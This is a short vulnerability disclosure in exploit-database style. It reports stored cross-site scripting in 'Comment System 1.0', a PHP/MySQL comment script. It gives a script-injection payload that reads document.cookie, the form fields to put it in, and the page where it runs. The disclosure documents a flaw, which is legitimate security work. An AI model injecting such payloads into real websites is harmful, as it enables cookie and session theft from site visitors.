# Exploit Title: Comment System 1.0 - 'multiple' Stored Cross-Site Scripting # Date: 2021-02-18 # Exploit Author: Pintu Solanki # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14713/comment-system-phpmysqli-full-source-code.html # Software: : Comment System 1.0 # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4 # Vulnerable Page: http://localhost/comment/index.php # Vulnerable Input Field : Your Name: "><script>alert(document.cookie)</script> Comment: "><script>alert(document.cookie)</script> # Payload used: "><script>alert(document.cookie)</script> # POC: Whenever we will go to the page (http://localhost/comment/index.php) where the script is injected, the stored script will be executed. # You will see your Javascript code (XSS) executed.